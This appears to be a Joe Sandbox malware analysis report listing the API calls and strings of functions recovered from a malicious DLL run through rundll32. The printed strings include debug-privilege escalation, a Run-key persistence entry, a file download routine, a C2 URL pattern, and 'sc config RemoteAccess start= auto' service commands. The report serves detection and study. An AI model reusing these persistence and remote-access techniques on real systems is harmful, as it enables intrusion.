REG_EXPAND_SZ, xrefs: 1000AD5F
REG_DWORD, xrefs: 1000AD9B
JS0yNHMgJS0xNXMgMHgleCglZCkgXHJcbg==, xrefs: 1000ADA7
REG_BINARY, xrefs: 1000ADE9
JS0yNHMgJS0xNXMgXHJcbg==, xrefs: 1000ADD2, 1000ADF5
REG_MULTI_SZ, xrefs: 1000ADC6
REG_SZ, xrefs: 1000AD51
JS0yNHMgJS0xNXMgJXMgXHJcbg==, xrefs: 1000AD6B
[%s], xrefs: 1000AC75

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Open
String ID: JS0yNHMgJS0xNXMgJXMgXHJcbg==$JS0yNHMgJS0xNXMgMHgleCglZCkgXHJcbg==$JS0yNHMgJS0xNXMgXHJcbg==$REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_SZ$[%s]
API String ID: 71445658-1435378120
Opcode ID: bd973036ceaf793e645ef01d76d6486dd3db76796ff37db88c669a367f4bbfe9
Instruction ID: 3f2a93cd4c3d7343f0a580605e2b8078640624975132d2b922564d29651d2999
Opcode Fuzzy Hash: bd973036ceaf793e645ef01d76d6486dd3db76796ff37db88c669a367f4bbfe9
Instruction Fuzzy Hash: 7CC1A8B6900158AFEB14CF94DC41FDFB3B9EB89350F004299F619A7184EB74AE84CB91

Function 10006710 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Part of subcall function 10006090: strrchr.MSVCRT ref: 1000610E
Part of subcall function 10006090: strncpy.MSVCRT ref: 10006125
Part of subcall function 10006090: strncpy.MSVCRT ref: 1000612F
Part of subcall function 10006090: GetSystemInfo.KERNEL32(?), ref: 10006139
Part of subcall function 10006090: GetCurrentProcess.KERNEL32(00000020,?), ref: 1000615A
Part of subcall function 10006090: OpenProcessToken.ADVAPI32(00000000), ref: 10006161
Part of subcall function 10006090: LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 10006172
Part of subcall function 10006090: AdjustTokenPrivileges.ADVAPI32 ref: 100061A7
Part of subcall function 10006090: CloseHandle.KERNEL32(00000010), ref: 100061B2
Part of subcall function 10006090: sscanf.MSVCRT ref: 100061DD

wsprintfA.USER32 ref: 10006752

Part of subcall function 100061F0: strchr.MSVCRT ref: 10006246

wsprintfA.USER32 ref: 100067B8
wsprintfA.USER32 ref: 100067D1
CreateDirectoryA.KERNEL32(?,00000000), ref: 100067DC

Part of subcall function 10005130: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000000,100094AF,?,?,?), ref: 10005149
Part of subcall function 10005130: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 1000516B
Part of subcall function 10005130: CloseHandle.KERNEL32(00000000), ref: 10005172

OpenProcess.KERNEL32(001F0FFF,00000000,00000000), ref: 1000681A
CreateThread.KERNEL32(00000000,00000000,100065E0,00000000,00000000,00000000), ref: 10006841

Strings

Win32_process, xrefs: 100067F7
c:\windows\system32\drivers\%s\%s, xrefs: 100067CB
ROOT\CIMv2, xrefs: 100067FC
c:\windows\system32\drivers\%s, xrefs: 100067B1
%s\%s, xrefs: 1000674C

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CreateProcesswsprintf$CloseFileHandleOpenTokenstrncpy$AdjustCurrentDirectoryInfoLookupPrivilegePrivilegesSystemThreadValueWritesscanfstrchrstrrchr
String ID: %s\%s$ROOT\CIMv2$Win32_process$c:\windows\system32\drivers\%s$c:\windows\system32\drivers\%s\%s
API String ID: 3642037362-1421401311
Opcode ID: 959fb8fba947e54388e467c1008752361763f84d015db73d1a953f87127b373f
Instruction ID: 4b2977ad490d08696dca791de939d207079566f8b39031e4ddb8eae90f5a8ad1
Opcode Fuzzy Hash: 959fb8fba947e54388e467c1008752361763f84d015db73d1a953f87127b373f
Instruction Fuzzy Hash: FA31BF71504344BBE321CBA8CD84AEBBB9AEB8D340F40492DF25597242DB35E944CB63

Function 10011A56 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 187librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 10011AFC
GetLastError.KERNEL32 ref: 10011B08
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 10011B3B
InterlockedExchange.KERNEL32(?,00000000), ref: 10011B4D
LocalAlloc.KERNEL32(00000040,00000008), ref: 10011B61
FreeLibrary.KERNEL32(00000000), ref: 10011B7E
GetProcAddress.KERNEL32(?,?), ref: 10011BDF
GetLastError.KERNEL32 ref: 10011BEB
RaiseException.KERNEL32(C06D007F,00000000,00000001,?), ref: 10011C1D

Strings

$, xrefs: 10011A72

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorExceptionLastLibraryRaise$AddressAllocExchangeFreeInterlockedLoadLocalProc
String ID: $
API String ID: 991255547-3993045852
Opcode ID: a73b7cc8c625f911e0734331049b328756f35cc78c5a687038707bc00ce3fec9
Instruction ID: a354a1ddeb452cab2ad2ab051f5ed65d06ba3f599703faf405cad435a4b3e081
Opcode Fuzzy Hash: a73b7cc8c625f911e0734331049b328756f35cc78c5a687038707bc00ce3fec9
Instruction Fuzzy Hash: BA612DB5A0420A9FEB19CF99C8C1AEA77F5EB48350F11812DE905DB251E770EE84CB60

Function 10008A70 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 177networkCOMMON

Download Yara Rule

APIs

Part of subcall function 100075F0: strstr.MSVCRT ref: 1000769B
Part of subcall function 100075F0: strstr.MSVCRT ref: 100076BF
Part of subcall function 100075F0: strcspn.MSVCRT ref: 100076CE
Part of subcall function 100075F0: strstr.MSVCRT ref: 100076DA
Part of subcall function 100075F0: strcspn.MSVCRT ref: 100076E9
Part of subcall function 100075F0: strncpy.MSVCRT ref: 100076F2
Part of subcall function 100075F0: strstr.MSVCRT ref: 1000772F
Part of subcall function 100075F0: strcspn.MSVCRT ref: 10007742

Part of subcall function 10006B90: setsockopt.WS2_32(?,0000FFFF,00000008,?,00000004), ref: 10006BA7

Part of subcall function 10006F20: RegOpenKeyExA.KERNEL32(80000002,?,00000000,000F003F,?,?,?,?), ref: 10006F4F
Part of subcall function 10006F20: GlobalMemoryStatusEx.KERNEL32(?), ref: 10007009
Part of subcall function 10006F20: GetSystemDefaultUILanguage.KERNEL32(?,?,?,?,?,?), ref: 10007062

send.WS2_32(00000000,?,00000128,00000000), ref: 10008ADF
closesocket.WS2_32(00000000), ref: 10008AEB
select.WS2_32 ref: 10008B41
closesocket.WS2_32(00000000), ref: 10008C33
InterlockedExchange.KERNEL32(1001B6A0,00000001), ref: 10008C44

Strings

zip, xrefs: 10008C85
SeShutdownPrivilege, xrefs: 10008BC7, 10008BE3

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: strstr$strcspn$closesocket$DefaultExchangeGlobalInterlockedLanguageMemoryOpenStatusSystemselectsendsetsockoptstrncpy
String ID: SeShutdownPrivilege$zip
API String ID: 619725691-4289258210
Opcode ID: b5eb4e8b9dd09d5d0053c07554e98b6b0746b7bdf66f2196c35ecf5b0e9c48ff
Instruction ID: 7a5603a2a2216d2e1622d78d4c03b43238dfd1876f0237c8316e7908159126a5
Opcode Fuzzy Hash: b5eb4e8b9dd09d5d0053c07554e98b6b0746b7bdf66f2196c35ecf5b0e9c48ff
Instruction Fuzzy Hash: 0551D6B1544305AAF320DB648C85FEB76E9FB843D0F104929FA49D91C6EB74E644CBB2

Function 10007F10 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 99registrystringCOMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT(?,100147E8), ref: 10007F95
_CxxThrowException.MSVCRT(?,100147E8), ref: 10007FCD
lstrlen.KERNEL32(?,00000000), ref: 10007FF3
RegCloseKey.ADVAPI32(?), ref: 10008032

Strings

DLLPath, xrefs: 10007FAD, 10007FFD
sc stop RemoteAccess, xrefs: 10008017
net start RemoteAccess, xrefs: 10008027
mp3, xrefs: 10007FDE
sc config RemoteAccess start= auto, xrefs: 1000801F
U1lTVEVNXEN1cnJlbnRDb250cm9sU2V0XFNlcnZpY2VzXFJlbW90ZUFjY2Vzc1xSb3V0ZXJNYW5hZ2Vyc1xJcA==, xrefs: 10007F36

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ExceptionThrow$Closelstrlen
String ID: DLLPath$U1lTVEVNXEN1cnJlbnRDb250cm9sU2V0XFNlcnZpY2VzXFJlbW90ZUFjY2Vzc1xSb3V0ZXJNYW5hZ2Vyc1xJcA==$mp3$net start RemoteAccess$sc config RemoteAccess start= auto$sc stop RemoteAccess
API String ID: 3791885085-2251003411
Opcode ID: 227bc0d59e87b544e9a4350b435364f5be94054d25a6f426c0a1255110e25bea
Instruction ID: 2c55f4b9fb6ebaf0e1eefe4f580e625848e4f0b506e702ed55fb943b6aebbeff
Opcode Fuzzy Hash: 227bc0d59e87b544e9a4350b435364f5be94054d25a6f426c0a1255110e25bea
Instruction Fuzzy Hash: 063181B5900159AFEB10DF94CC85FEFBBB8FF49250F004169F604AA141D7749E848BA1

Function 10007250 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 131libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(urlmon.dll,00000001,00000001,?), ref: 10007267
LoadLibraryA.KERNEL32(wininet.dll), ref: 10007270
GetProcAddress.KERNEL32(00000000,URLDownloadToCacheFileA), ref: 10007299
GetProcAddress.KERNEL32(00000000,GetUrlCacheEntryInfoA), ref: 100072A4

Strings

urlmon.dll, xrefs: 10007262
GetUrlCacheEntryInfoA, xrefs: 1000729B
WinSta0\Default, xrefs: 100073A2
wininet.dll, xrefs: 10007269
URLDownloadToCacheFileA, xrefs: 10007288

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetUrlCacheEntryInfoA$URLDownloadToCacheFileA$WinSta0\Default$urlmon.dll$wininet.dll
API String ID: 2574300362-1569318151
Opcode ID: 04083978eb23d12a34f0fee697af90656df796dc382c12a5cf3d9f7be74f32bc
Instruction ID: c0467908c50afa1d83c3b06bf8344a948e458b4db3363e6c89df874e13e7bd38
Opcode Fuzzy Hash: 04083978eb23d12a34f0fee697af90656df796dc382c12a5cf3d9f7be74f32bc
Instruction Fuzzy Hash: CC41CC31A0051C6BDB25C6B8CC51BEF7666FB88320F550369F716AB2C1DAF15E45CB44

Function 10008440 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 30synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 10004F60: GetCurrentProcess.KERNEL32(00000028,00000000,?,1000BB89,SeDebugPrivilege,00000001), ref: 10004F6A
Part of subcall function 10004F60: OpenProcessToken.ADVAPI32(00000000,?,1000BB89,SeDebugPrivilege,00000001), ref: 10004F71
Part of subcall function 10004F60: LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 10004F87
Part of subcall function 10004F60: AdjustTokenPrivileges.KERNELBASE ref: 10004FCA
Part of subcall function 10004F60: CloseHandle.KERNEL32 ref: 10004FD5

CreateMutexA.KERNEL32(00000000,00000001,Global\98012trt8-d8dfsf,?,100084BC), ref: 1000845B
GetLastError.KERNEL32(?,100084BC), ref: 10008463
ReleaseMutex.KERNEL32(00000000,?,?,?,100084BC), ref: 1000848D
CloseHandle.KERNEL32(00000000,?,?,?,100084BC), ref: 10008494

Strings

SeDebugPrivilege, xrefs: 10008444
Global\98012trt8-d8dfsf, xrefs: 10008453
ERROR_ALREADY_EXISTS, xrefs: 10008475
c:\11.txt, xrefs: 1000847A

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseHandleMutexProcessToken$AdjustCreateCurrentErrorLastLookupOpenPrivilegePrivilegesReleaseValue
String ID: ERROR_ALREADY_EXISTS$Global\98012trt8-d8dfsf$SeDebugPrivilege$c:\11.txt
API String ID: 3631164735-4205529783
Opcode ID: 371d1544536f455d4ff2881a43cd085a9ecfe5f63921b749fa4ab69506bf8e29
Instruction ID: 925e2da293242ab0c133c8592058369d05a2f9f499b66df2af7b6b931c45f916
Opcode Fuzzy Hash: 371d1544536f455d4ff2881a43cd085a9ecfe5f63921b749fa4ab69506bf8e29
Instruction Fuzzy Hash: 42E09275D10060A3F912B760ACCDADE3A21D78A795F074130F709E5156DF34CAD182B2

Function 1000F870 Relevance: 12.2, APIs: 8, Instructions: 169fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000FEC7,?), ref: 1000F87E
GetFileSize.KERNEL32(?,00000000,?,00000000,?), ref: 1000F8EB
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,1000FEC7), ref: 1000F90B
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 1000F922
SetFilePointer.KERNEL32(?,00000024,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,1000FEC7), ref: 1000F92B
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 1000F93C
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 1000F95C
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 1000F96D

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-0
Opcode ID: 859882acb2849d7037477cc4baac1a315585c36ddf65a2636b61d75e7ae6334e
Instruction ID: 75170083ee676786804825bfb6193be50822de76c0b42b9061a3e677b9cbe5b9
Opcode Fuzzy Hash: 859882acb2849d7037477cc4baac1a315585c36ddf65a2636b61d75e7ae6334e
Instruction Fuzzy Hash: C851BFB1A04305AFF314CE94CC81FBBB7E4EF88784F10891CF68597684EAB4E9059B56

Function 1000A7D0 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(?), ref: 1000A8E4
6CE12C70.MFC42(?), ref: 1000A8FA
InterlockedDecrement.KERNEL32(?), ref: 1000A918
6CE12C70.MFC42(?), ref: 1000A92E
InterlockedIncrement.KERNEL32(?), ref: 1000A965
InterlockedDecrement.KERNEL32(?), ref: 1000A977
6CE12C70.MFC42(?,?,?,?,?,?,?,0000000C), ref: 1000A99A
6CE12C70.MFC42(?,?,?,?,?,?,?,0000000C), ref: 1000A9A3

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Interlocked$Decrement$Increment
String ID:
API String ID: 2574743344-0
Opcode ID: c26f0b026ed7cb081274be26cba3a652331b1fc049732353bcbaeeb4cd700175
Instruction ID: 3093974cb4f3d434be5fdbb974d372fcb86c240b2bae65a57b53355a280814b6
Opcode Fuzzy Hash: c26f0b026ed7cb081274be26cba3a652331b1fc049732353bcbaeeb4cd700175
Instruction Fuzzy Hash: BE51B0B2A043529BE710DF658885A0EB7E4FB85690F424A2DF485D7205D734EDC5CB92

Function 100090E0 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 91stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 10009105

Strings

ECF4BB570DC9, xrefs: 1000915E, 100091BF
%s|NULL|%s|%s, xrefs: 100091CB
09121307, xrefs: 100091B8
%s/joy.asp?sid=%s, xrefs: 100091F0
http://, xrefs: 100090FB
NULL, xrefs: 10009100, 100091E4

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: strstr
String ID: %s/joy.asp?sid=%s$%s|NULL|%s|%s$09121307$ECF4BB570DC9$NULL$http://
API String ID: 1392478783-2365402793
Opcode ID: a49b259e51406aef14fd146218e1fac6b9de25d8a0ef98e8ef8312d6623e819d
Instruction ID: ecfe1f19982070fc907945bea6b76d3382d22d52cdee0c44685c771b8a3fb10f
Opcode Fuzzy Hash: a49b259e51406aef14fd146218e1fac6b9de25d8a0ef98e8ef8312d6623e819d
Instruction Fuzzy Hash: 91318F756047416BE724CB78CC01BEBB6D5EBC8344F44893CB74A8A285EF78E544C752

Function 10009000 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 10004B10: GetShortPathNameA.KERNEL32(?,?,?), ref: 10004B1F

Part of subcall function 10004C20: RegCreateKeyExA.KERNEL32(?,?,?,?,?,?,?,?,?,1000906E,80000001,00000000,?), ref: 10004C4D

wsprintfA.USER32 ref: 10009097

Part of subcall function 10004CC0: RegSetValueExA.KERNEL32(?,?,?,?,?,?,100090C2,?,EvtMgr,00000000,00000001,?), ref: 10004CDE

Part of subcall function 10004C60: RegCloseKey.KERNEL32(1000AB02,1000AE3A,80000002,1000AB02,?,?,?,?,75920F00), ref: 10004C65

Strings

c:\xrzyhhhnk\uycmiha.dll, xrefs: 1000902F, 10009083
EvtMgr, xrefs: 100090B7
%s "%s",init, xrefs: 10009091
U29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFJ1bg==, xrefs: 10009056
c:\windows\SysWOW64\rundll32.exe, xrefs: 10009088
REG_SZ, xrefs: 1000904F

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseCreateNamePathShortValuewsprintf
String ID: %s "%s",init$EvtMgr$REG_SZ$U29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFJ1bg==$c:\windows\SysWOW64\rundll32.exe$c:\xrzyhhhnk\uycmiha.dll
API String ID: 2251888957-2966530058
Opcode ID: 33cebf139591f84ff6b25fec94bbcb491949b6952fbd0d975d4c5d77bffff605
Instruction ID: 555e9edd79d20669cd6279b5f68c84e268027a48e8a655114ccd52f9ce3fa163
Opcode Fuzzy Hash: 33cebf139591f84ff6b25fec94bbcb491949b6952fbd0d975d4c5d77bffff605
Instruction Fuzzy Hash: EF11ECB56442447BF354C228DC42FEB7698EB84340F800D28B745AA182EBF5E68882A7

Function 1000FA40 Relevance: 7.6, APIs: 5, Instructions: 138fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,75A78400,00000000,10010D59), ref: 1000FA95
CreateFileA.KERNEL32(?,40000000,00000000,00000000,?,00000080,00000000,?,75A78400,00000000,10010D59), ref: 1000FAD6

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: b3b746043fca136ba4e81b91f0f512960f4c623e21c03b3bed80360a50ba42b1
Instruction ID: 308ac7dc05e7744f4e081a0bdb9278c18c1066b528d8c71e9578729df1ac5f0e
Opcode Fuzzy Hash: b3b746043fca136ba4e81b91f0f512960f4c623e21c03b3bed80360a50ba42b1
Instruction Fuzzy Hash: ED416AB26057419FE320CF29D884B5BB7ECEB943A9F108A3FF295C6940D370D8959B60

Function 100065E0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

VirtualQueryEx.KERNEL32(00000000,?,?,0000001C), ref: 1000663D
6CE12C70.MFC42(00000000), ref: 1000666E
ReadProcessMemory.KERNEL32(00000000,?,00000000,?,00000000), ref: 10006697
6CE12C70.MFC42(00000000), ref: 100066E2
CloseHandle.KERNEL32(00000000), ref: 100066F1

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseHandleMemoryProcessQueryReadVirtual
String ID:
API String ID: 1621033003-0
Opcode ID: ce3c6dad6738674a56033ed313a0acf1917c8ebe045c92598b6288b6f3b7be5a
Instruction ID: 86ba632d18ad3737237f260a16107ce2d7cf70f613dcfd362d55f89863a9b285
Opcode Fuzzy Hash: ce3c6dad6738674a56033ed313a0acf1917c8ebe045c92598b6288b6f3b7be5a
Instruction Fuzzy Hash: DB31BE717043529BE710CF14CC81A2BB3EAFB8A394F10852DF9809B245DB71ED46CB92

Function 10010E90 Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88411d57cb3e3dbeacca650520ba2354405dbfd77ca187300c3dbeb98fc05c50
Instruction ID: bb61c64e4c2e60018887cf4b21b2b77a56d021ed7f9f06e12eb8ae260fd69302
